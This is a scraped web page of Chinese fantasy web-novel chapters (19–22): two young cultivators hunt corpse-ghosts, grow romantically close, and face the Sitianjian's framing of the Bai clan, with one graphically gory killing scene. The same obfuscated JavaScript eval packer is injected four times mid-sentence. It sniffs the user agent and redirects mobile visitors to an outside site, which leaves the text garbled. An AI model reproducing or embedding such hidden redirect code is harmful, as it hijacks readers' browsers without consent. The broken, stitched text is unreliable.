l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365473|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 相较之下,白栩表现得十分胆大,他嘴上询问着要不要进去看看,身子已然大步迈前,不顾段尚清的阻拦,手按在门板上用力一推,“吱呀”一声,门大敞开。 “小心……” 段尚清劝阻的话被迎面吹来的阴风堵在了喉咙里。 铺子里一股墨臭和陈旧木料混合而成的霉味,呛人得紧,白栩抬手扫扫面前的浮灰,像踏进自家大门一样踏进寿材铺的门槛,指着一口躺在屋地中央的黑漆木棺材道:“段兄猜尸鬼会不会在这里面?” 这口棺材和花灯节那夜被抬棺人抬进绛鹊山的那口很像,通体玄黑,贴满了黄符,不过捆着它的朱砂绳不翼而飞。 “要打开看看么?”白栩侧着脑袋看向段尚清,半张脸隐没在阴翳里,神情看不真切,瞳仁里闪着银月似的凄白的光。 段尚清冷冷地直视白栩,“你好像很熟悉这里?” “若寒城大大小小的地方我都逛遍了,熟悉一个寿材铺子有什么稀奇的?”白栩低低一笑,“段兄怕了?” “并未。”段尚清移开视线,“只是觉得你今夜与往日有些不同。” 白栩笑而不语。 棺盖是实木的,沉甸甸的很有分量,段尚清按住棺盖用力一推,“轰隆”一声,重物落地。 棺内空无一物。 “不在这里,我们回——” 他话音未落,后背忽地中了一掌,旋即身形不稳跌进棺内。 他急急欲起身,却只来得及看清白栩毫无血色的脸和无神的眼,又听“轰隆”一声,方才落在地上的棺盖凭空自起,用力砸在棺材上,盖了个严严实实。 电光石火间,寿材铺里恢复了寂静,只是棺材前,白栩站着的位置,多了一滩冒着火星的纸灰。 姚靖一行人寻了大半夜的山,愣是连尸鬼的影子都没摸着。 天已蒙蒙亮,三人只好无奈下山。 才回街上,就见白府门前围了一大帮人,姚靖一边摘着身上的蛛网,一边快走前去招呼人,“怎么了,都围在这里?” 马学究从人群里探出个脑袋,面露歉意道:“是在下家中闹鬼,不得已来求白公子相助,惊扰各位,还请莫怪。” “闹鬼?”姚靖顿了动作,白栩也探出脑袋,回了他的疑问,“是尸鬼。” “啊?尸鬼下山了?那我们不是白跑一趟了!”姚靖仰天哀嚎,“师父你的计谋就不能靠谱一点吗!” 山响似的嗓门吼醒了好几户人家,段云秋一巴掌拍向姚靖后脑勺,骂道:“你个臭小子,安分一点。” 把正闹心的姚靖赶到一边,段云秋看向白栩,“长话短说。” 白栩便把马学究家尸鬼行凶和段尚清追鬼之事一一道来。 “他去了多久?” “约有两个时辰了。” 段云秋面露忧色,回头眺望西街方向,握剑起身道:“佐老邪,你守在这里,我去寻尚清。” “我也去!” 白栩“噌”地站起身,在段云秋犹疑的目光中,又讪讪坐下,“我在这里等你们回来……” “让他去吧。”佐宣梁一旁相劝,“天要亮了,尸鬼不敢出来。小辈们关系好,在这里干等着,不是白白心焦么?” 姚靖紧跟着附和:“对对,再说我也在呢,有危险我保护阿栩哥。” 段云秋软了耳根,“那便一起去吧。” 20. 生辰礼物 天未大亮,隐有鸡鸣四起,却没一户人家敢开门,空落落的街巷,只有“踏嗒踏嗒”的脚步声孤自回响。 姚靖东奔西窜将西街老巷翻了个底儿掉,一丝人影也没摸着,苦恼地嘟囔:“怎么找人找鬼全都找不找?”他抹了把脑门上的汗,扯着嗓子冲段云秋喊道,“难不成追着尸鬼跑远了?” “不,他就在附近。”段云秋从巷尾的寿材铺里走出来,“我能察觉到他的灵力,不过……”他掐掐眉心,“有人设了障眼法,我感知不到具体方位。” “真是怪了。”姚靖挠挠头,捧起一个落了灰的酒坛子冲里面招呼,“师兄你在里面么?”问完还煞有介事地凑耳朵进去听。 段云秋看他这幅蠢样儿,头更疼了。 白栩在巷子外墙附近寻了一圈,才跑进巷尾,方一接近寿材铺,就觉腰间一股莫名的力量拉扯着他往铺子里走。 低头一看,是段尚清留给他的剑穗。 他摘下来置于掌心,玉髓正泛着荧蓝色的光,流苏根根竖起,齐齐指向铺内陈着的一口棺材。 三人会意,齐力将重若千钧的棺盖推开,赫然见段尚清躺在其间,双眼紧闭,面色苍白,昏迷不醒。 “尚清!”白栩伏在棺壁上,抖着手探他的鼻息,感受到指侧传来的微弱气流才安下心,将手里的玉髓塞到段尚清因痉挛而紧紧交握的手里,期望能有点用处。 玉髓的荧蓝大亮了一瞬,只听清脆一声,增了一条裂纹,紧接着段尚清猛吸一口气,忽地睁开了眼。 还好人没事。 心里一颗大石头落地,白栩忙伸手扶他,指尖还没碰到他的衣袖,就被一阵强力扼住喉咙掼在地上,段尚清的眸中满是凶恶的神色,他仍有些神志不清,手中的力道却寸寸加紧。 “说!你到底是谁?” 白栩被掐得说不出话,眼睛充血泛红外凸,无助地拍打地面求助,姚靖和段云秋一人拽段尚清的胳膊,一人扣他的手指,谁知这家伙发起狂来力大无穷,两人合力下愣是纹丝不动。 眼看人要窒息,段云秋不敢再等,一个手刀劈下,段尚清身形一晃,栽倒在地。 白栩如蒙大赦,手脚并用从段尚清身子底下爬出来,捂着脖子心有余悸道:“他这是怎么了?” 段云秋扶起白栩,对段尚清的异状亦作不解:“只能等他清醒了再问了。” 三个人伤的伤,昏的昏,相携回了白府。 段尚清清醒过来时,正临日落时分,西霞染红了半边天。 院外传来阵阵菜香,已是到了晚饭。 他捂着阵痛的头坐起身,脑中闪过许多断片的画面,其余都模糊了,唯有白栩把他推进棺材那一幕历历在目。 他蓦地一惊,四下望了一圈,认出是白府屋内,才安下心来。 门外响起三声恭敬的敲门声,福生的声音隔着门板传来:“段公子,您醒了么?” 段尚清穿鞋下地开了门:“何事?” “要吃晚饭了,少爷叫我来看看您。”福生手里拖着一碗参汤,“这是少爷交代厨房炖好的,您先喝点补补身子。” 段尚清心中一暖,喝罢跟着福生去了膳堂。 众人都在,桌上摆着丰盛的酒肉,白栩在席间招呼:“段兄醒了,快来!” 段云秋和姚靖双双投来意味深长的目光,段尚清看不懂他们的欲语还休,坐到白栩身边时,一打眼就看到了那白皙脖颈上五道深紫的掐痕。 “怎么弄的?是尸鬼所伤?”段尚清扶住白栩的后颈,指尖抚弄他的伤痕,满眼是心疼。 难道他昨夜真的去了西街老巷? 可陷害自己的,分明是个纸人…… “凶手可比尸鬼还吓人呢!”姚靖咬下一口肉,神情夸张地演绎,“人阿栩哥哥好意把师兄你救醒,你倒好,不分青红皂白,掐着人脖子往地上摔,要不是师父把你打晕,险些要给阿栩哥的脖子掐断了去!” 段尚清眼中一片迷茫,但愧疚已爬上面庞,“对不住,我……”他不知如何解释,也不想辩白,尽管伤人一事他毫无记忆,但伤痕不会造假,姚靖不会说谎,他的的确确伤了白栩。 “无妨。”白栩大大咧咧地揽过他的肩,用力拍了两下以作宽慰,“那时你神志不清,又不是有意伤我,莫要介怀。” 段尚清的眉头依旧拧着,愧疚半点没减。 白栩见状,干脆夹了一筷子虾肉递到他嘴边,见他下意识张嘴接住,语气轻快了些:“那时你神志不清,又不是有意伤我,莫要介怀,对了,昨晚到底发生了什么?” “昨夜我在寿材铺附近,碰到了另一个你,是纸人化形,很是阴毒,把我引诱到铺子内,推进了棺材里。”段尚清慢慢嚼着,虾肉嫩弹,自舌尖荡开鲜美之味。 好好吃。他下意识眯起眼睛,像是吃高兴了。 这小模样实在可爱,白栩忍不住掐他的脸,段尚清看过来,眉头虽皱起,脸颊却是圆鼓鼓的嚼着菜,“怎么了?” 白栩收回手,咳了一声,正色道:“袭击你的是纸人,搬棺材的也是纸人,估计出自一帮人之手,我姐姐已经去查了,说不定不久之后就知道真凶了。” “嗯……”段尚清仍是瘪着嘴闷头吃饭。 知道他还是过意不去,低笑着拍了把他的肩,“好啦你,怎么还是委屈巴巴、可怜兮兮的模样?” “我不是委屈……”段尚清连忙抬起头,对上白栩的目光又有些闪躲,他垂下眼帘,声音低低的,“我是觉得对不起你。” “我没生气,你也不是故意伤我,不要再想这事了。”白栩起身给段尚清盛了一碗汤,稳稳地放在他手边,“不过我有事要问你,白伯伯说你快到生辰了,有没有想要的?我都送你。” 段尚清闻言,下意识地摇了摇头,他向来没什么特别想要的东西。 知道这人客气,白栩也不勉强,“那我可就自己准备了,要是之后想到想要什么,记得跟我说。” 段尚清嗯了一声,不知想到了什么,脸颊倏地泛起一层红晕,他慌忙低下头,闷头扒拉碗里的饭,再不肯多说一个字,只留着泛红的耳根露在外面。 段云秋在两个小家伙身上逡巡半晌,意味深长地一笑,胳膊肘怼怼佐宣梁,眼神示意,佐宣梁冲他一阵挤眉弄眼,姚靖左瞧瞧右看看,嘿嘿一笑,吃了一大口饭。 说起生辰,白栩才想起来,自己从未问过段尚清多大。 吃完饭,两人在凉亭里消食,白栩撑着脑袋问他,“尚清,你几岁了?” 段尚清如实道:“十六岁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365474|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白栩噗嗤一声,乐了起来。 本来看段尚清比自己高了小半个头,以为他比自己大,一直段兄段兄地叫。 敢情应该是白兄和段公子啊。 白栩凑近他,“哦……我十九岁,小段,叫声兄长来听听?” 段尚清把脸一撇,写满了拒绝。 白栩上手就掐,“占了我小半个月的便宜,想赖账?” 他没使劲儿,段尚清却像被掐疼了似的,瑞凤眼里写满了委屈,“我原先不知……多有冒犯……” 瘪着嘴嗫嚅片刻,才不情不愿地吐出两个字,“白兄。” 白栩活了这么些年,第一次给别人当哥,直接乐不思蜀了,一把抱住段尚清的脑袋,学着他姐蹂躏他的手法,使劲揉搓段尚清的发顶,响亮亮地应了一声:“诶!” 段尚清把头埋进白栩的颈窝,“叫白兄生分,我还要叫你阿栩。” “行,想叫什么都行,尚清。” 段尚清拧动身子挣脱白栩的魔爪,眼睛亮晶晶的,“你再叫我一遍。” “干嘛?”白栩笑着看他。 这副模样怎么和马学究家养的那只西施犬一样,那只小狗总喜欢用湿漉漉的鼻头蹭白栩手心,吐着软乎乎的小舌头求摸头。 段尚清凑近些许,两人的鼻尖几乎碰上,“你叫我的字好不好,虽然未及冠,但字一早就取好了,”他红了脸颊,“这个是我想要的生辰礼物,听你叫我‘长明’。” 白栩被他撒娇得心软,抬手掐掐他的脸颊肉,“长明。” 他难得这么正经又正式地叫一个人的名字,以至于自己都有点不好意思,“不过这个不算生辰礼物,你想听,我随时可以这么叫你。” “嗯。”段尚清应下,而后羞赧一笑,软着嗓子,轻轻地唤了一声,“锦爻。” 白栩一直觉得段尚清的声音很好听,正常说话时,像早春刚融的冰泉,表层的薄冰刚簌簌地碎裂,水一冲,叮咚撞在岩上,清列又悦耳。 但当他故意撒着娇叫自己的名字,暖风似的轻轻刮过心尖,又酥又麻,连带着四肢百骸都泛起软意来。 “阿栩,你耳朵红了。”段尚清促狭地用指尖弹弹白栩的耳尖,“害羞了?” 他的眸子看过来,白栩的目光恰好同那双琥珀色的眸子撞了个满怀,心一瞬就乱了。 “嗯。”白栩眉眼弯弯,两相对视,心跳震耳欲聋,“我害羞了。” “我也害羞了。”段尚清牵着白栩的手按在自己的心口,“你看,这里跳的好快。” 掌心下传来有力而剧烈的震动,白栩指尖蜷缩,想挪开,又被段尚清压了回去。 段尚清缓缓凑近,呼吸拂过白栩的耳畔,他用脸颊轻轻蹭了蹭白栩的侧脸,鬓角相触的地方微有些发痒,“我还想要个生辰礼物,你亲我一口,好不好?” “……”白栩的视线有些涣散,睫毛轻轻颤动着,他的鼻尖萦绕着段尚清身上那股清冽又温和的味道,心像是浸在温泉里,又麻又软,连带着指尖都微微发颤。 “好不好?” “嗯。” 段尚清把脸凑过来。 耳边是自己擂鼓般的心跳声,一声比一声响。 白栩闭上眼,微微仰头,在他脸颊上轻轻印下一个吻。 21. 树欲静而风不止 次日天微亮,定山江上驶来两艘赤红楼船,船身丈阔,威风凛凛,摆足了盛气凌人的架势。 桅杆上的旌旗猎猎作响,赫然写着“司天监”三个大字。 司天监,不论在朝堂还是江湖都是响当当的名号,原是皇帝为寻长生特设的机构,凡是会炼就长生丹、施展长生术的,皆能官拜三品侯。 眼看着江湖骗子踩着寒窗学子的脊梁青云直上,众人无不唏嘘,这帮尸位素餐的乌合之众,治世救民不见上行下效,学起旁门左道,倒是异常高效。 宫里的大臣昏聩,由着皇帝胡闹,地方官更是不敢违逆,当地凡是打着修炼长生的野鸡门派,皆能笼络大批信众,什么“长生教”、“飞仙门”层出不穷。 尤其是西北那片异族扎堆的地界,更是乱成一片。 司天监的船刚抵江州,禁军便迅速围住若寒城,气势肃杀,威风无比。 佐宣梁屡次交涉,全都吃了闭门羹,简直要火冒三丈,回府立刻把小辈叫到房内,一股脑交代了许多事—— 如今执掌司天监之人,名叫虞惑,宫里人都说此人长生不老,尽管白发白须,依旧是一副十几岁少年的模样,经年也不见衰容。 他有个义子,名叫虞子煊,该子极其飞扬跋扈、睚眦必报,但凡招惹到他的人,都没有好果子吃。 当年虞惑盗走长生簿上卷,叛出白家,凭靠邪术长生得到圣上宠信,权倾朝野。 如今这司天监名义上属朝廷所设,实则由虞惑一手掌控。 “长生术真的能让人长生不老?江湖不都说那是禁术么?”白栩追问。 “哼,那根本就是个邪术!”佐宣梁气得一掌拍在桌上,震得茶杯乱颤,“那簿子本是西域络玥族的东西,三十几年前被江州申屠家夺走,他们族人明知长生术是个不可信的邪法,非要举族修炼,不出一月,全修成了活死人,逮到人就撕咬,专挖人心肝吃,当年江州百姓人人自危,要不是江南玄门联手剿灭申屠氏,将其残尸镇压于绛鹊山镇邪庙之下,何来今日的太平!” 他饮了口茶,接着道:“至于虞惑那个野种,提他都脏了嘴!申屠家主申屠鸿从络玥族拐了个女子回来,那女子怀了孕,不知道是谁的孩子。申屠鸿死后,白家见她可怜便好心收留,不过她也是可怜,身子里有蛊虫,生了孩子不久,蛊虫竟破体而出,腔子都蛀空了,死得很是凄惨,白老爷子收留了那孩子,取名虞惑。” 段云秋愤然接话:“虞惑与我们一同长大,本以为他能继承白老衣钵,谁知他进山之后不知做了什么,性情大变,出来竟扬言要为族人报仇!申屠家当年害的人还不够多么?果然一脉之血,同样污浊。” “你爹不和你说这些,并非有意相瞒,一来怕你知道了平白忧心,再来白家守山这十几年,很是太平,没必要让你知道太多。”佐宣梁揉揉白栩脑袋,“你也别怨你爹娘,你不会武功,许多事于你来说,确实无能为力。你娘当初让你考官,也有让你进宫监视司天监的打算,莫家在朝中有人照应,你去了也不会危险,不过你不愿意,也便罢了。” 白栩闻言蓦地一颤,只觉浑身血液瞬间倒流,羞愧、自责、懊悔……种种情绪轰然涌上心头,哽得他喉咙发紧,眼眶酸热。 原来娘逼我入朝为官,竟有这般深意…… 白栩恨不得扇自己一耳光,想起自己惹娘那般生气,简直不孝至极。 段尚清凑过来轻声安慰:“你别自责,当时你什么都不知道。” “可是……”白栩抹了把泪,“我辜负了娘,辜负了好多人的期望,我对不起他们。” “好孩子,你不必多想。”段云秋把白栩拉到身边,柔声劝慰,“我们当初也劝过你娘,一个孩子一个性子,你心性纯良,本不善勾心斗角、虚与委蛇之事,进了朝堂,定会格格不入,那地方,多少人一失足成千古恨,伴君如伴虎,何况还有个与白家有仇的司天监虎视眈眈,你进宫去,只会举步维艰,如履薄冰。” 佐宣梁也跟着哄,“是啊,你爹都不敢和你娘讲道理,我们外人更不好插嘴,你娘一心光耀白氏,毕竟白老爷子既是师父也是父亲,苦心栽培她这么多年,恩情重于山,虽说老爷子没逼她什么,但你娘这人很是要强,她自己厉害,就想让孩子也厉害,你看你姐,和你娘一个模子里刻出来似的,你可知道,我们私下里都说你们白家的功法怪得很,只传女不传男,哈哈哈哈……” 眼看佐宣梁把话偏到奶奶家去,段云秋气得抬手就是一记,佐宣梁抱头瞪眼,自知失言,讪讪闭嘴。 不过经大家这么一劝,白栩心里好受了不少。 段尚清见他心情好转,放下心来,转而问道:“佐伯伯,这次带禁军来的人是谁?” “虞子煊。”佐宣梁冷哼一声,“那混账架子忒大,我佐宣梁请不动他!” “你提刀去的架势,不像谈话,像要打架。”段云秋默默补刀。 佐宣梁抱臂,满脸愤懑,“要我说,江州闹尸鬼,八成是司天监搞的鬼——白栩,给你姐姐传信,让她着重调查司天监。” 段尚清立刻取出一张黄符,待白栩写好,他掐诀念咒,火光一闪,信已传出。 “还有……” 段云秋沉吟片刻,开口道:“你们两个,带着姚靖,暂离江州一段时日吧。” “为什么?”白栩不解。 “虞子煊显然替他爹来示威了,既然能用尸鬼这种下作手段栽赃陷害,难保不会用别的法子伤你。”佐宣梁解下腰间一枚玉佩给白栩,“这是佐家的玉牌,你们若要去衡阳,有此物在手,行事会方便很多。” 白栩接过,迟疑不决,段尚清替他应下,“我们这几日就收拾东西启程。” 段云秋抬手按住段尚清肩头,嘱咐道:“尚清,一定要照顾好你师弟和小栩。” “是!” 离开议事堂,白栩一直心神不宁。 爹娘走了,姐姐也走了,如今自己也要离开,一家人就这么四散飘零,白栩心里很不是滋味。 白栩自认不是个矫情的人,如今却多愁善感起来。 他突然很想家。 明明身在熟悉的白府,念着的人却一个不在,这种怅惘之感从前只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365475|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在诗中读到过,如今亲身经历,才知这种痛苦,寥寥数语,道不出许多愁。 白栩把脸埋进被子里,使劲忍着不哭。 男子汉大丈夫,就因为这点事就哭鼻子,真没出息。 可是……心里好难受…… 门忽地被敲响,白栩慌忙擦去眼泪,下地打开门,是段尚清。 “就知道你还没睡。” 月色下,段尚清的面庞格外柔和,他捧起白栩的脸,眼中尽是心疼,“你哭了。” “嗯……” 段尚清的温柔和包容让白栩心里的防线轰然崩塌,先前强压的情绪全涌了上来,滚烫的泪珠一滴滴滑落下,砸在掌心,碎成点点泪花。 “我想家了,我不要这个空荡荡家,我要我原来的家,所有人都在的那个家……尚清,我想我爹娘,想我姐姐,可他们都走了,若是我守在这里等他们回来,我不会这么难受,可如今我自己也要走了……” 白栩哭得悲切,段尚清心里也跟着泛起一阵酸涩。 他何尝没有过此般心境,不久前离家接任守山之责,坐上前往江州的小船,看着广阔无垠的定山江,心中亦有过片刻迷惘。 但身为家中长子,肩负重任,容不得多愁善感。 自己所不能,但白栩可以。 至少让他在自己这里,哭个痛快。 段尚清张开手臂,把白栩揽进怀里,“哭吧,哭出来就好受了。” 颈侧被眼泪蹭湿,苍白而冰凉的手指紧紧攥着自己的衣襟,白栩的呜咽声很小,却足够让他心疼。 “是不是我厉害一点,就能保护他们不受司天监威胁,我们一家人也不会为此东奔西走?都怪我……” “不怪你,都怪司天监,都怪虞惑。”段尚清低头,轻轻蹭了蹭白栩的脸颊,“都是他们的错。” “嗯……”白栩渐渐止住哭声,“那我们什么时候走?” “过几天吧,等你好好记住这里,我们再出发。” “好。” 段尚清放下手臂,白栩却仍靠在他怀里没动。 他心神微动,又把人紧紧抱住。 段尚清忽地觉得自己很是卑劣,如此眷恋白栩的温度和味道,明明是哄人,却感觉自己也被哄着了。 只要闻到他发丝间的清香,感受到他颈侧的温热,心里便会满足,甚至想要索取更多,感受更多…… “要我陪你入睡么?”他贴在白栩耳边轻声问。 白栩耳根一热,“嗯。” 段尚清揽着人进屋,合上房门,白栩钻进被窝,给他腾了个位置,“还暖着,你快上来。” 明明大自己三岁,有时候却像个小孩。 段尚清无声地扬起嘴角,侧躺在白栩身边,一伸手臂把人揽入怀中。 他比白栩高出小半个头,身形也更加结实,虽然胳膊上肌肉虬结,稍硬了些,但枕起来还算舒服。 白栩搓搓酸胀的泪眼,抱住段尚清,把自己埋进他的胸膛,心跳震颤隔着衣袍传递过来—— “怦怦。” “怦怦。” 22. 示威 【本章有血//腥描写,谨慎观看】 夜里下了场雨,淅淅沥沥地吵了一宿,直到凌晨才停下,四月初,天尚未变暖,响晴薄日的天,艳阳高照,烤在身上暖烘烘的,刮来的风里却带着凉。 渡口喧声鼎沸,乱哄哄地围了一帮人,里三层外三层地挤着,踮脚探头,指指点点,议论不休。 内里围了一圈禁军,铁甲森严,刀戟林立,硬生生在沸反盈天中挡出一片空地。 司天监少主虞子煊立于中央,一身烈火似的红袍张扬倨傲,他高据在渡口拴船的木桩之上,依仗挺拔的身量,凌驾于众人之上,神态睥睨。 渡口岸边上,几口厚重的玄色棺材大敞着盖板。 虞子煊环视一圈,眼看时机成熟,勾唇一笑,抬手轻慢一挥,场中肃杀之气顿起,禁军得令,拖拽破烂麻袋似的,粗暴地将一具具干瘪的尸骸从棺材里拖出,掷于地上,堆积成山。 尸体个个开膛破肚,黝黑的皮裹着枯骨,一股浓烈的恶臭骤然炸开,引得人潮一阵骚乱,呕吐声、惊呼声此起彼伏。 虞子煊负手而立,声音郎朗,字字清晰有力:“列位父老!江南水乡承平久矣,然则近来有一蛊惑人心、动摇国本的谣言,想必众位都听过,江州白氏,堂堂江南玄门魁首,竟暗行鬼道,豢养邪祟凶尸,心怀叵测,图谋不轨!” 他故意停顿片刻,锐利的目光扫过众人群,面上露出不忍:“诸位,我司天监身为监察天下玄异、护佑黎民之重器,本不愿相信!白氏百年清誉,累世功勋,我辈何不仰其华光?本以为白氏乃光明磊落之楷模,谁知竟有此等大逆不道、祸乱纲常之举,岂能为天下所容?” 百姓叽喳议论,仍是将信将疑。 虞子煊话音陡然提高,铿锵有力如金石掷地,脸上那点不忍顿时化为无私铁面,他抬手指向那堆积在地的尸骸,厉声赫赫:“只是,在如山铁证面前,岂容狡辩?尸鬼骸骨在此,白氏野心昭然若揭!此等为祸人间、死而不僵的妖异之物,就被白氏藏于后山豢养,昨夜禁军直捣白氏巢穴,一举将此等妖物尽数铲除!我虞子煊,今以司天监之名,在此昭告天下——焚毁尸邪,缉拿白氏,明正典刑,一个不饶!” 看热闹的人里必然少不了马学究,他使劲挤到前排,不顾禁军的推攘大喊道:“尸鬼明明会动,而且行动敏捷,你这就是一些死尸罢了,我们凭什么相信这是尸鬼?” 虞子煊上下打量了马学究一番,嗤笑一声:“放他进来。” 禁军让开了一条口子,马学究挤进去,地上的的确确是一堆开膛破肚的死尸,和那夜袭击自己的尸鬼并不相像。 “不信?”虞子煊眯起眼睛,狭长眸子里尽是欣赏好戏般的残忍兴致。 马学究梗着脖子:“不信!” “好!”虞子煊大笑起来,只见他一挥手,地上的尸体登时剧烈地抽搐扭动,几只铁钳似的枯爪猛地抓住马学究脚踝,将人狠狠扯在地上,尸鬼乌泱泱地扑了上来,张开大口,整块整块地撕扯马学究的皮肉,血液迸溅四射。 惨叫已不成声调。 湿热滑腻的肠子流了一地,折断的骨头崩裂噼啪脆响,一条尚在抽搐的手臂被硬生生扯下来抛出,外围挤不进去的尸鬼立马野狗扑食地叼起品尝,神情餍足…… 这场令人作呕的饕餮盛宴持续了许久,待尸鬼散开,地上只剩下一滩糜烂不堪、血肉泥泞的碎骨烂肉,一颗人头滚出来,眼球被挖走,下巴被扯开,已辨不出是谁。 “啊——!!” 百姓慌乱四散,一个都不敢留着看。 观众都被吓跑了,虞子煊觉得没意思,脸上的笑意淡去,变为索然无味的淡漠,他掩着鼻子,对禁军厌烦地挥挥手:“放火烧了这堆脏东西,烧完了全推江里去,臭死了。”而后红衣一扫,跳下桩子,靴底踩过地上粘稠的血迹,留下一串浅浅的血印。 开幕戏做完了,下一场该上演了。 白府早被玄甲禁军围了个水泄不通,正堂内,佐宣梁端坐主位,面沉如水,一双鹰隼似的眸子烧着滔天怒火。 “佐长老!”虞子煊操着有恃无恐又惹人生厌的笑,先在门口打了声招呼,禁军刀戟微错,让开条路,他昂首走进,步履从容,“听闻您屡次造访,可惜我琐事繁忙,没能与佐长老见上一面,今日亲自登门造访,您不起身相迎么?” 佐宣梁冷哼一声,柳斗大的皮锤猛地拍在桌上,震得厚重的紫檀桌案裂开细纹数道,他人未起身,剑已出鞘,一道森寒刺骨的雪亮剑刃破空而至,直抵虞子煊咽喉。 “虞氏小儿,你狂妄得很!栽赃陷害、颠倒是非的招数很是有一手,是你老爹虞惑教你的吧?果然一丘之貉,尽是下作手段!”佐宣梁面若凶煞,金刚竖目——白道陵说得不错,他生气起来,比门神还凶。 虞惑是虞子煊的命门,谁敢侮辱义父,他准要翻脸。 “佐长老,您没能出门,没看到禁军在渡口焚烧尸鬼的壮景,若不是白氏豢养,江州哪里会有这些邪物?”虞子煊脸上浮起阴狠的狞笑,颈侧擦过剑刃,留下一道血痕,他不知痛似的硬往前走,直站在佐宣梁面前,“我司天监要灭白氏,你以为仅凭佐家,拦得住煌煌天威么?” “谁说只有佐家?” 段云秋自旁门走入,站于佐宣梁身侧,他身形挺拔如松,直视虞子煊,字字千钧:“江南玄门同气连枝,亲若一体,你以为司天监那些见不得人的下作手段没人发现么?白家若出事,江南玄门与司天监,必势不两立。” 虞子煊瞳孔骤然一缩。 他没想到段家也插手进来,段氏一向明哲保身,这次居然肯蹚浑水……段家的道罡八咒很是难对付,有段氏助阵,一时半会儿还拿不下白家。 真是麻烦! “好!好!好!”虞子煊连道三声“好”,眼中尽是狠毒与不甘:“上三家果如传言所说,同流合污、沆瀣一气。”他识趣地后退一步,毒蛇似的目光在两人脸上逡巡,刻意拖长了声调,带着十足的挑衅,“听闻白家小儿子是个不学无术的草包,二位以为,司天监捉他,可是易如反掌?” “你敢!”佐宣梁怒喝一声,扬手劈剑砍来,虞子煊闪身不及,被剑风扫了一道,左臂顿时裂了道深口子,鲜血直流。 虞子煊自幼养尊处优,何尝受过这种痛,当即暴怒而起,拔剑砍来,可佐宣梁是何许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365476|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也,不等他刺出剑去,便被一脚将踹翻在地,一只黑底金纹皂靴狠狠地踏上他的脊背,力若千钧,几乎将他脊骨碾碎。 虞子煊惨叫一声,手脚并用往外爬,佐宣梁一把薅起他的头发,冷声警告:“回去告诉你老子,他那假长生的法子也就唬唬皇帝老儿,司天监若敢动白家人一根毫毛,我定会去扒下他一身狗皮!滚!” 门外禁军不敢插手,神仙打架百姓遭殃,无一人敢动,甚至暗自看虞子煊笑话。 方才风光无限的司天监少主如今颜面尽失、血污满身,他狠狠瞪了佐宣梁一眼,捂着伤口狼狈离府。 直到那抹刺眼的红消失在视线尽头,段云秋才缓缓开口,语气平静:“我们和司天监的梁子结大了。” 佐宣梁擦去剑上脏血,嗤笑一声:“江湖庙堂本是井河不犯,老皇帝求长生入了魔,私自设立这劳什子的司天监,我没去找他麻烦就不错了,要不是看他早年主政还算治世有功,不然,什么狗屁皇城、狗屁司天监,老子早杀穿了去!” “是,佐家主威猛——尚清昨晚来信给我,他们启程去了玉县。”段云秋朝他招招手,佐宣梁跟着坐回堂前,“今日渡口焚尸一事,不日便会疯传出去,道陵和兰萱恐怕有危险啊。” “不用担心,莫大姑娘何许人也啊,白老爷子那一手绝技全教给她了,你说,定山神诀和道罡八咒,哪个更厉害?”佐宣梁倒了碗酒,咕咚饮尽。 段云秋拣了个桃,用帕子擦擦,咬了一口,“那还是道罡咒厉害。” 佐宣梁哈哈大笑:“吹吧你就。” …… 玉县离江州不算远,但山路崎岖,颠得白栩吐了一路。 昨夜佐伯伯把他们仨拍醒,急急忙忙地赶上马,叫他们连夜出城,白栩追问缘由,佐伯伯只说禁军上了山,恐有变数,要尽早出城。 于是什么都没准备好的白栩就这样迷迷糊糊地上了路,他只带了几件衣服和一些碎银,问要去哪儿,段尚清说去衡阳,白栩却想到马学究和他说过玉县也有尸鬼杀人案,便提议去那看看。 段尚清和姚靖没有异议,衡阳何时去都行,玉县死人这事,得先去彻查。 玉县不比若寒城,挂着县的名头,实则是个穷乡僻壤,当地位居深山,出入麻烦,农户自给自足,不与外通,刚落脚,寻了半天才找了个客栈,房间少得可怜,且只剩了一间房。 “玉县不与外通,怎么有这么多人外住?”白栩扔给掌柜几个碎银,当做打探消息的酬劳。 掌柜笑眯眯接过银子,藏进兜里,在白栩耳边悄声道:“小店本有十间房,数年来一向住不满人,不过几月前,从外地来了一帮人,给了我一箱银子,租了九间房,他们一个个长得凶,我不敢惹,而且银子确实多,就让他们住下了……” 